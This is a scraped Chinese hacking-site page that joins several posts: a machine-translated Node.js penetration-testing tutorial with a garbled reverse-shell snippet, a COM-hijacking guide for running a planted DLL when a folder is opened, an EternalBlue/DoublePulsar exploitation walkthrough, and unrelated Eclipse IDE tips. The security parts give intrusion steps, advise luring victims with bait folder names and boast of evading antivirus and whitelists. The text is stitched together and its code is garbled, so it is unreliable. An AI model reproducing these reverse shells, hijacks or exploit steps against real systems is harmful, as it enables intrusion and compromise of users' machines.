中国骇客云教你渗透测试Node.js应用介绍,如何使用node.js进行渗透测试!

在这篇文章中,我们将看看时如何进行渗透测试Node.js应用或寻找Node.js的具体问题。

说明

js是一个服务器端语言建立在谷歌浏览器的V8引擎的顶部。它采用事件驱动的非阻塞I/O是数据密集型应用的完美候选人。它运行在一个单线程的服务器,这也意味着任何有意/无意的拒绝服务的尝试将杀死服务器把所有客户脱机,负载均衡器以便更好地使用多个实例。在这篇文章中,我们将看一些漏洞更具体到Node.js如何识别和利用他们在真实世界的情景。

信息收集

像任何其他信息收集网络应用的阶段,我们将寻找到任何奇怪的cookie名称[”connect.sid”],服务器标题和x-powered-by头。可以在下面的截图中看到,x-powered-by标题显示应用程序正在运行下快递框架。此外,我们现在可以深入挖掘框架/包具体漏洞太。

脆弱性分析和利用

截至目前,我们已经确定Node.js应用一个轻微的想法,让我们在其他的漏洞一看。我们将在下面的弱点:

  • 服务器端代码注入
  • 系统命令注入
  • 正则表达式的DOS
  • HTTP参数污染
  • 无保护的途径
  • 全局命名空间污染
  • 跨站点脚本
  • 不安全的组件
  • 安全代码审查

服务器端代码注入:

在js代码注入也围绕着“最著名的功能eval“所以,不要使用eval在你的代码的功能,这也意味着没有插入用户直接输入任何的系统功能,如setTimeoutsetInterval,等.

在我们的演示代码,我们使用eval解析参数的类型,在这种情况下是一个整数,后面添加。同样可以克服使用parseInt功能

可以看出,我们能够执行我们的有效载荷和关闭应用程序。

反向外壳

进一步,我们可以使用下面的代码片段到Node.js应用反向壳。

功能启(主机、端口){
var net = require(“net”);
var cp = require(“child_process”);

var cmd = cp.spawn(“cmd.exe”, []);

var client = new net.Socket();

client.connect(主机,端口,function(){

客户。写(“连接\r\n”);

client.pipe(cmd.stdin);

cmd.stdout.pipe(客户端);

cmd.stderr.pipe(客户端);

客户。在('exit”功能(编码、信号){

(“断接client.end r \ n”);

});

客户。对(错误,函数(e){

setTimeout(启(主机、端口),5000);

})

});

返回/ /;

启(的);“127.0.0.1”,4444);

系统命令的执行

而做一个Node.js应用程序代码审查,这是看从模块名称child_process使用的功能非常重要,因为这个模块涵盖了所有的功能,从产卵的新流程执行系统命令。

可以看到,我们已经创造了一个演示程序的平。然而,没有验证的IP参数设置。

上面的代码可以利用系统命令执行简单如下:

正则表达式的DoS(拒绝服务)

正则表达式的DOS主要围绕术语叫灾难性的回溯这意味着在如何定义正则表达式引擎搜索模式在用户的输入。让我们看看下面的例子:

我们在这里寻找X的结束与Y的模式,但是如果我们的输入并没有结束与Y和它有更多的X的存在与这一问题,每个X将开始回溯,最终在一个循环中执行更多的迭代次数来确保没有Y的在我们输入。在下面的截图中,我们可以看到,正确的输入,执行时间小于一秒。

我们只提供X的数目。可以看出,执行时间增加一秒,记得Node.js是一个单线程运行,它将为所有在同一时间使用同一应用程序的其他客户造成拒绝服务。

HTTP参数污染

Node.js有个奇怪的功能,允许多个值的一个参数。所以,如果添加具有相同名称的一个参数是参数名称和电子邮件,电子邮件参数的值将包含一个以逗号分隔的两种不同的价值观。

我们可以看到,我们只是打印电子邮件参数的值在这里。

如图所示,当我们提供价值的两个或两个以上的参数具有相同的名称,Node.js将他们用逗号。此功能可用于开发参数污染漏洞。一个例子可以电子邮件Web客户端应用程序,在应用程序期望的电子邮件的参数值,你可以提供一个或多个值。

无保护的途径

大多数的现代应用程序是使用MVC架构,让我们先了解这个词意味着什么。MVC把应用分为三个逻辑组件模型,视图控制器。这大大有助于开发人员和软件架构师的业务逻辑从应用程序代码中分离。简单来说,当一个请求发送到基于MVC模式的Web应用的端点或URL请求发送到负载的用户界面称为视图负责加载视图或执行用户的输入,称为控制器的任何验证任务的终点。从数据端的控制器获取数据作为模型。

所有的网址/控制器端点称为嵌入式路径文件的路线,并有一个路由器,坐在它们之间决定当用户点击http:/ / / www.example.com ABC该控制器具有触发

现在的问题是这样的认证/授权和非认证/授权的路线。从名字上,我们可以确定认证/授权的路线都是那些我们可以访问登录后或一定程度的访问后。

演示这一功能,我们必须设置Nodejs应用称为流行的平台nodegoat。这是演示的应用具有多个用户角色退休。只有管理员可以访问其他用户的退休福利。

可以看出,效益路线不检查用户是否是管理员和其他用户可以访问其他用户的退休福利。

可以看出,我们从一个正常的用户登录,并且没有功能命名为“正常用户帐户的好处”。

我们从一个管理员帐户登录,并发现,这个功能可以通过管理员用户只。

为了验证上述行为,我们再切换到正常的用户帐户,并浏览网页的好处力和能够访问和修改其内容。

固定保护的途径

我们进一步增加isadmin中间件路线以确保只有管理员用户访问这个页面。

我们又一次试图访问的好处页面,被重定向到登录页面在isadmin中间件的定义。

结论:

在这篇文章中,我们已经讨论了5出9的漏洞;其余的将被覆盖在论文的第二部分。

中国骇客云教你COM劫持利用新型牛逼办法!

打开文件夹就能运行指定的程序?这不是天方夜谭,而是在现实世界中确实存在的。利用本文探讨的COM劫持技术,可以轻松实现出打开文件夹就运行指定代码的功能。对于COM劫持技术COM劫持技术,国内很少有资料进行原理阐述,本文结合自身分析经验对COM劫持技术进行归纳总结。同时,希望各大安全厂商针对此类利用做好防护,保护用户信息安全。

前言

所谓“骂人先骂娘,擒贼先擒王”,首先给出读者最最关心的劫持文件夹的利用方法的效果展示:

打开文件夹就运行?COM劫持利用新姿势

为了理解本文内容,我们首先要了解COM的一些基本的概念

  • 接口:一组函数的总称,这些函数也被称为”方法”,接口的名称都是以“I”开关,如:”IShellFolder”.接口可以继承。
  • Component object class(coclass):也就是组件,组件包含在一个DLL或者exe文件中,它包含了一个或多个接口的实现代码。组件实现了它包含的所有接口。
  • COM object:是组件的一个实例。
  • COM server:一个dll或者exe文件,包含了一个或者多个组件。
  • COM library:是操作系统的一部分,负责响应用户程序。
  • GUID:唯一的、128位的标识对象的标识. 全局唯一标识符,是唯一的一个ID,类似于物理网址那样。
  • CLSID:class id,唯一的标识组件。
  • IID:interface id,用来标识接口。

 

此外,对于windows操作系统,存在着虚拟文件夹,控制面板,我的电脑等都是系统中的虚拟文件夹。这种虚拟文件夹在注册表中都会有一个CLSID与之对应,例如,我的电脑对应的CLSID是{20D04FE0-3AEA-1069-A2D8-08002B30309D},控制面板的CLSID是{21EC2020-3AEA-1069-A2DD-08002B30309D}

那么怎样可以看到这些虚拟文件夹呢?以“我的电脑”虚拟文件夹为例,在开始–运行中输入”: {20D04FE0-3AEA-1069-A2D8-08002B30309D”就可以打开我的电脑。但需要注意的是,在WIN7下,输入:{21EC2020-3AEA-1069-A2DD-08002B30309D}可以打开控制面板,但在xp系统下,打开控制面板需要输入的命令为:”:{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}”。

利用方法

作为演示,我们执行代码的功能为,弹出一个类似与下图的对话框,其中显示出了调用这个DLL的进程路径及PID信息。

把大象装进冰箱里需要三步,我们的利用也分为三步:

 

1.精选CLSID,尽量选择系统应用范围广的CLSID,这样的模块可以保证系统在进行很多功能时都会加载dll。

我们选择的CLSID为:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},其对应着CAccPropServicesClass类。

修改注册表,将CLSID对应的DLL文件修改成实现了某些待定功能的文件(这个文件是由我们精心构造的,不然无法利用成功)。

可通过将下列数据导入到注册表实现

 

2. 新建文件夹,以CLSID做为后缀名,同时将我们的利用dll拷贝到系统目录下:

这里的文件名可以充分发挥想象力(骗术),利用社会工程学,起个诱惑的文件夹名,比如,目标喜欢日本姑娘,文件夹就叫做” 小泽にほんごかなニホンゴ(カナ).{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}”

14746372851780

3. 打开文件夹,成功利用

利用的步骤很简单,其中最为关键是我们实现代码的dll以及CLSID的选择,这不是一个普通的dll,而是dll中的”战斗dll”,这是一个实现了COM接口的dll,并且在dll的导出函数的返回值有特殊要求。具体可以参见文末附件中的代码。

背后的故事

通过上面的图,可以看出,我们的DLL实际上是由verclsid.exe加载的。而verclsid.exe是通过shell32.dll中的函数调用起来的。在shell32.dll中SHExtCoCreateInstance函数成功调用后,verclsid.exe才会被加载。

而SHExtCoCreateInstance只是对_SHExtCoCreateInstance2的封装

14746372917267

而通过ida看到_SHExtCoCreateInstance2调用了_ShouldLoadShellExt,所有_ShouldLoadShellExt成功返回(返回非0值),才能加载verclsid.exe.

14746372953873

_ShouldLoadShellExt在对注册表Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Blocked和Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved进行判断后,调用了_QueryClassInterface,而要求_QueryClassInterface返回一个非0值,就只能是下图中的 v17=ExitCode==0代码的地方。

14746376272810

综全上面的过程,要想成功利用,只要使CreateProcessW函数调用verclsid.exe结束时的exitcode等于0。

对verclsid.exe分析

调用verclsid.exe传递的参数有:

  • /S:随后调用OLE32!CoInitializeEx函数时的参数;
  • /C : CLSID;
  • /I :Interface id;
  • /X:调用OLE32!CoCreateInstance函数时所需要的参数值;

随后,通过下面的函数调用com组件

调用OLE32!CoCreateInstance

1474637308484

调用ppv->QueryInterface

1474637314975

随后会调用

ppv->Release()

CoUninitialize()

然后,函数就正常返回,当函数正常返回时,verclsid.exe的exitcode等于0。这就保证了我们的dll能够被加载成功。

所以,我们只需要写一个COM服务dll,使verclsid.exe调用这个服务dll的接口时,返回S_OK就OK了。具体关于COM服务dll的编写,请参考附件链接。

附件下载:链接:链接: https://pan.baidu.com/s/1mijwuTE 密码: sshr

总结

这种COM劫持技术最大的优点在于,不需要进行动态的dll注入等操作,可以绕开主动防御,此外,这种利用的加载进行为操作系统的verclsid.exe,宿主进程是天生的白进程,也可以绕开白名单机制。而且劫持dll的加载是由系统底层机制决定的。另外,这种技术很可能被用于网络黑产,这也要求安全厂商提高对这种劫持行为的识别与检测。

中国骇客云方程式Eternalblue远程溢出漏洞复现:附443端口利用工具

最近方程式的漏洞着实火了一把,根据网友的需求分析了下githup上面的文件目录,找到了利用文件,
主要是针对windows主机的SMB、RDP协议进行攻击,因为我主要根据他们提供的payload的程序,
利用这两个模块eternalblue和Doublepulsar可以对攻击smb和rdp协议

1 .环境搭建

win2003 攻击机:ip:192.168.0.28
kali 攻击机:ip:192.168.0.27
win7 靶机:ip:192.168.0.14

PS:netstat -an 查看端口开发情况,确保445端口开启

另外:win2003攻击机需要安装有python环境,安装python-2.6.6.msi,pywin32-221.win32-py2.6.exe,安装过程不再赘述,安装完成修改系统变量即可。

方程式ETERNALBLUE 下载地址:www.hackerschina.org点我下载.;下载解压后将其中windows目录的所有文件拷贝之win2003系统中。

在该windows目录下建立一个文件夹为:listeningposts;与fb.py文件中的一致

2.测试过程

进入windows目录。执行python fb.py,设置目标IP与本机IP,重定向选择No;这里由于我的虚拟机没有D盘,所以修改logs文件目录到C盘。

根据提示,输入0创建一个新的项目,项目名为test

接下来使用use Eternalblue,一路回车:

这里要注意,根据提示选项,这里选择1,然后继续一路回车


在kali系统中,利用msf生成一个dll劫持文件,并将s.dll文件拷贝到windows2003的C盘目录下:

在msf下开启msfpaylod监听:


接下来继续在windows2003上执行use Doublepulsar

根据提示选择对应系统,运行dll文件,设置dll文件路径


最后在MSF中可以看到,成功反弹shell,拿到系统权限。

3.漏洞利用工具

PS:由于目前软件还未完善,如果有需要的可以加群获取

4.防御措施

所有Windows系统主机使用防火墙过滤/关闭 137、139、445端口,对于3389远程登录,如果不想关闭可以使用智能卡登录功能.

中国骇客云之Eclipse 内置浏览器

Eclipse 内置浏览器


Web 浏览器

Eclipse 系统内部自带了浏览器,该浏览器可以通过点击 Window 菜单并选择 Show View > Other,在弹出来的对话框的搜索栏中输入 “browser”。

browser_1

在树形菜单中选择 “Internal Web Browser” 并点击 OK。

中国骇客云之Eclipse 重启选项

Eclipse 重启选项


重启 Eclipse

重启选项允许用户重启 Eclipse。

我们可以通过点击 File 菜单选择 Restart 菜单项来重启 Eclipse。

restart_menu

在安装插件后,用户一般都会被提醒要重启 Eclipse。如果用户当时没有重启Eclipse,可以通过该选项来重启。

中国骇客云之Eclipse 快捷键

Eclipse 快捷键

关于快捷键

Eclipse 的很多操作都提供了快捷键功能,我们可以通过键盘就能很好的控制 Eclipse 各个功能:

  • 使用快捷键关联菜单或菜单项
  • 使用快捷键关联对话窗口或视图或编辑器
  • 使用快捷键关联工具条上的功能按钮

shortcuts_menu

Eclipse 快捷键列表可通过快捷键 Ctrl + Shift + L 打开 。

shortcuts_keys


设置快捷键

Eclipse 系统提供的快捷键有时比较难记住,甚至根本没有提供快捷键时,就需要自己手动设置快捷键。

我们可以通过点击window->preferences->general->keys(或直接搜索keys),进入快捷键管理界面:

shortcut1

在这里可以查找所有功能的快捷键,需要修改或新增时,点击需要修改或新增的命令,在 binding 里设置快捷键:shortcut2

设置完快捷键后,还需要设置在什么时候可以使用该快捷键,eclipse提供各种场景供选择,一般选择In Windows(即在eclipse窗口激活状态)即可。

shortcut3

完成以上操作,点击 OK 按钮即完成设置。


Eclipse 常用快捷键

快捷键描述
编辑
Ctrl+1快速修复(最经典的快捷键,就不用多说了,可以解决很多问题,比如import类、try catch包围等)
Ctrl+Shift+F格式化当前代码
Ctrl+Shift+M添加类的import导入
Ctrl+Shift+O组织类的import导入(既有Ctrl+Shift+M的作用,又可以帮你去除没用的导入,很有用)
Ctrl+Y重做(与撤销Ctrl+Z相反)
Alt+/内容辅助(帮你省了多少次键盘敲打,太常用了)
Ctrl+D删除当前行或者多行
Alt+↓当前行和下面一行交互位置(特别实用,可以省去先剪切,再粘贴了)
Alt+↑当前行和上面一行交互位置(同上)
Ctrl+Alt+↓复制当前行到下一行(复制增加)
Ctrl+Alt+↑复制当前行到上一行(复制增加)
Shift+Enter在当前行的下一行插入空行(这时鼠标可以在当前行的任一位置,不一定是最后)
Ctrl+/注释当前行,再按则取消注释
选择
Alt+Shift+↑选择封装元素
Alt+Shift+←选择上一个元素
Alt+Shift+→选择下一个元素
Shift+←从光标处开始往左选择字符
Shift+→从光标处开始往右选择字符
Ctrl+Shift+←选中光标左边的单词
Ctrl+Shift+→选中光标又边的单词
移动
Ctrl+←光标移到左边单词的开头,相当于vim的b
Ctrl+→光标移到右边单词的末尾,相当于vim的e
搜索
Ctrl+K参照选中的Word快速定位到下一个(如果没有选中word,则搜索上一次使用搜索的word)
Ctrl+Shift+K参照选中的Word快速定位到上一个
Ctrl+J正向增量查找(按下Ctrl+J后,你所输入的每个字母编辑器都提供快速匹配定位到某个单词,如果没有,则在状态栏中显示没有找到了,查一个单词时,特别实用,要退出这个模式,按escape建)
Ctrl+Shift+J反向增量查找(和上条相同,只不过是从后往前查)
Ctrl+Shift+U列出所有包含字符串的行
Ctrl+H打开搜索对话框
Ctrl+G工作区中的声明
Ctrl+Shift+G工作区中的引用
导航
Ctrl+Shift+T搜索类(包括工程和关联的第三jar包)
Ctrl+Shift+R搜索工程中的文件
Ctrl+E快速显示当前Editer的下拉列表(如果当前页面没有显示的用黑体表示)
F4打开类型层次结构
F3跳转到声明处
Alt+←前一个编辑的页面
Alt+→下一个编辑的页面(当然是针对上面那条来说了)
Ctrl+PageUp/PageDown在编辑器中,切换已经打开的文件
调试
F5单步跳入
F6单步跳过
F7单步返回
F8继续
Ctrl+Shift+D显示变量的值
Ctrl+Shift+B在当前行设置或者去掉断点
Ctrl+R运行至行(超好用,可以节省好多的断点)
重构(一般重构的快捷键都是Alt+Shift开头的了)
Alt+Shift+R重命名方法名、属性或者变量名 (是我自己最爱用的一个了,尤其是变量和类的Rename,比手工方法能节省很多劳动力)
Alt+Shift+M把一段函数内的代码抽取成方法 (这是重构里面最常用的方法之一了,尤其是对一大堆泥团代码有用)
Alt+Shift+C修改函数结构(比较实用,有N个函数调用了这个方法,修改一次搞定)
Alt+Shift+L抽取本地变量( 可以直接把一些魔法数字和字符串抽取成一个变量,尤其是多处调用的时候)
Alt+Shift+F把Class中的local变量变为field变量 (比较实用的功能)
Alt+Shift+I合并变量(可能这样说有点不妥Inline)
Alt+Shift+V移动函数和变量(不怎么常用)
Alt+Shift+Z重构的后悔药(Undo)
其他
Alt+Enter显示当前选择资源的属性,windows下的查看文件的属性就是这个快捷键,通常用来查看文件在windows中的实际路径
Ctrl+↑文本编辑器 上滚行
Ctrl+↓文本编辑器 下滚行
Ctrl+M最大化当前的Edit或View (再按则反之)
Ctrl+O快速显示 OutLine(不开Outline窗口的同学,这个快捷键是必不可少的)
Ctrl+T快速显示当前类的继承结构
Ctrl+W关闭当前Editer(windows下关闭打开的对话框也是这个,还有qq、旺旺、浏览器等都是)
Ctrl+L文本编辑器 转至行
F2显示工具提示描述

中国骇客云之Eclipse 代码模板

Eclipse 代码模板

使用代码模板

Eclipse 提供了通过定义和使用代码模板来提高工作效率与代码可预测性的能力。

我们在开发 Java 程序过程中经常需要编写 main 方法:

public static void main(String[]args) {}

如果我们一个字母一个字母去编写,将是一个重复而又毫无意义的事情,这是我们就可以使用 Eclipse 代码模板来快速完成这些工作。

我们只需在类体中键入main,然后使用Eclipse的代码提示快捷键(默认为Alt+/),回车后,就可以看到Eclipse自动帮我们完成了main函数的完整定义:

tmp1

如果我们要使用 System.out.println(),我们只需要输入 syso 然后按下 Alt+/ 即可:

tmp2


自定义代码模板

Eclipse 还提供了非常多的代码模板,我们可以通过 Windows->Preferences->Java->Editor->Templates (你可以在搜索框中输入Templates查找)看到所有已定义的代码模板列表。

tmp3

我们在弹窗口选中 sysout 模板并点击右侧Edit,显示如下:

tmp4

编辑面板是核心关注对象,因为一切东西都在这里面配置。先来熟悉下这个面板中关键的五项分别是什么。

  • Name:名称,其实就是以后可以用到的代码缩写
  • Context:模板上下文,指定该代码模板在什么地方才能生效,对于Java至少包含这么四个:
    1. Java type members,模板对应的代码是类成员,psvm模板严格来说应该选择这个
    2. Java statements,模板对应的代码是语句块
    3. Java,最通用的,只要是Java代码就行
    4. Java doc,顾名思义了
  • 模板变量:eclipse已经预置了一些模板变量(点Insert Varibles可以看到所有预置变量),如:
    1. ${cursor}是表示光标
    2. ${date}表示当前日期字符串
    3. ${time}表示当前时间字符串
    4. ${line_selection}让当前行被选中
    5. ${word_selection}让当前单词被选中

    当然我们也可以定义自己的模板变量,比如我定义一个 ${myTemplateVarible},那么对应代码显示的就是 myTemplateVarible。

  • Pattern:代码模板对应的模式,按照你希望代码的格式逐个输入即可

更多自定义代码模板的内容你可以通过点击 Help 菜单中的 Help Contents 选项,在弹出的对话框的搜索栏上输入 “Java Editor Template Variables” 选择 Java Editor Template Variables 查看具体的文档描述:

tmp5

中国骇客云之Eclipse 安装插件

Eclipse 安装插件

查找和安装插件

Eclipse作为一个集成的IDE开发工具,为我们的软件开发提供了便利,eclipse除了自带的强大功能外,还支持功能丰富的插件。

我们可以通过Eclipse官方市场 (http://marketplace.eclipse.org/)找到并下载我们需要的插件。

例如我们可以查找支持 Python IDE 的插件,如下图所示:

install_plugin_1

在 Eclipse IDE 中我们也可以通过点击 Help 菜单中的 Eclipse Marketplace(Eclipse 超市)选项来查找插件:

install_plugin_2

上图中我们选择 PyDev 让 Eclipse 支持 Python 开发,我们只需要点击 Install 按钮即可。 以下对话框为选择安装的插件。

install_plugin_3

你也可以通过点击 Help 菜单上的 Install New Software 菜单项来安装插件: install_plugin_4

这种方式我们需要知道插件远程的安装地址,你可以通过点击 Add 按钮来提交 URL。

install_plugin_5

安装的对话框中列出了远程可安装的插件列表:

install_plugin_6

中国骇客云之Eclipse 任务管理

Eclipse 任务管理


管理任务

在Eclipse中用TODO标签管理任务,利用这个功能可以方便地将项目中一些需要处理的任务记录下来。

我们可以在 Java 代码中的注释添加 TODO 单词来标记一个任务,任务可以通过 Tasks(任务) 视图查看。

在Eclipse中我们可以通过鼠标右击垂直标尺并选择 Add Task 菜单来添加任务,在弹出的对话框中输入任务描述信息:

如果需要删除任务,只需右击任务图标选择 Remove Task 菜单项即可:


打开 Task(任务) 视图

打开 Task(任务) 视图的方法为:

  • 在 Window 菜单中选择 Show View > Other
  • 在搜索框中输入 Tasks
  • 在 General 下选择 Tasks

  • 最后点击 OK 按钮

使用 Task(任务) 视图

Task(任务) 视图中显示了项目中所有待完成的任务:

Task(任务) 视图中还能进行以下操作:

  • 修改任务右下角
  • 标记任务已完成
  • 删除任务或删除所有已完成任务

中国骇客云之Eclipse 添加书签

Eclipse 添加书签


关于书签

Eclipse 中可以在编辑器的任意一行添加书签。 您可以使用书签作为提示信息,或者使用书签快速定位到文件中的指定的行。

添加书签

如果你想设置书签,你只需要在垂直标尺上右击鼠标并选择能 “Add Bookmark” 即可。

add-bookmark

在弹出的对话框中输入书签名。

test-bookmark

垂直标尺上就会出现一个书签的按钮,当然你也可以在 Bookmarks 视图中查看到书签列表。

bookmark-icon

打开 Bookmarks(书签) 视图

打开 Bookmarks 视图的方法为:

  • 点击 Window 菜单选择 Show View > Other
  • 在搜索输入框中输入 Bookmark
  • 在 General 下选择 Bookmarks

bookmarks_3

  • 点击 OK 按钮

使用 Bookmarks(书签) 视图

Bookmarks 视图如下:

bookmarkview

你可以在 Bookmarks 视图中双击书签或者鼠标右击书签选择”Go to”菜单来快速定位书签所在的位置。

删除Bookmarks(书签)

你可以在垂直书签上右击编辑并选择 Remove Bookmark 来删除书签:

remove-bookmark

或者在 Bookmarks 视图视图中右击书签并选择”Delete”菜单项来删除书签:

remove-bookmark2